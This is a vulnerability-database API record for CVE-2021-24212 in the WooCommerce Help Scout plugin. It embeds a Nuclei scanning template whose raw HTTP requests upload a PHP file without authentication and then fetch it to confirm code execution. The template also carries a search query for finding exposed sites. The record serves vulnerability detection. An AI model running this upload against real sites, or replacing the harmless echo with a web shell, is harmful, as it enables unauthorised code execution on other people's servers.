{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-24212/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-24212/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-24212/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-24212/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-24212/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-24212"},"sightings":{"href":"/api/v1/sightings/cve-2021-24212"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-24212.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-24212\n\ninfo:\n  name: WooCommerce Help Scout - Arbitrary File Upload\n  author: ritikchaddha\n  severity: critical\n  description: |\n    WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code execution.\n  impact: |\n    Unauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise.\n  remediation: |\n    Update to version 2.9.1 or later.\n  reference:\n    - https://wpscan.com/vulnerability/cf9305e8-f5bc-45c3-82db-0ef00fd46129/\n    - https://sploitus.com/exploit?id=WPEX-ID:CF9305E8-F5BC-45C3-82DB-0EF00FD46129\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24212\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24212\n    cwe-id: CWE-434\n    epss-score: 0.07908\n    epss-percentile: 0.94465\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: woocommerce\n    product: help_scout\n    fofa-query: body=\"/wp-content/plugins/woocommerce-help-scout\"\n  tags: cve,cve2021,wp,wordpress,wp-plugin,file-upload,rce,woocommerce-help-scout,vkev,vuln\n\nvariables:\n  num: \"999999999\"\n  filename: \"{{rand_base(6)}}.php\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf\n\n        ------------------------NCpI6tN3BZW3fz1Y9t2bkf\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}\"\n        Content-Type: application/x-php\n\n        <?php echo md5('{{num}}'); ?>\n        ------------------------NCpI6tN3BZW3fz1Y9t2bkf--\n\n      - |\n        GET /wp-content/uploads/hstmp/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100c9440c2e4ab7043a992b36930d352d158cea3292afc73d07dd6f9af422425811022100806e0abc016447d22528ba3f820c96d3a719cdefa1b7847f4e1cdf4d7363ef4f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-24212"}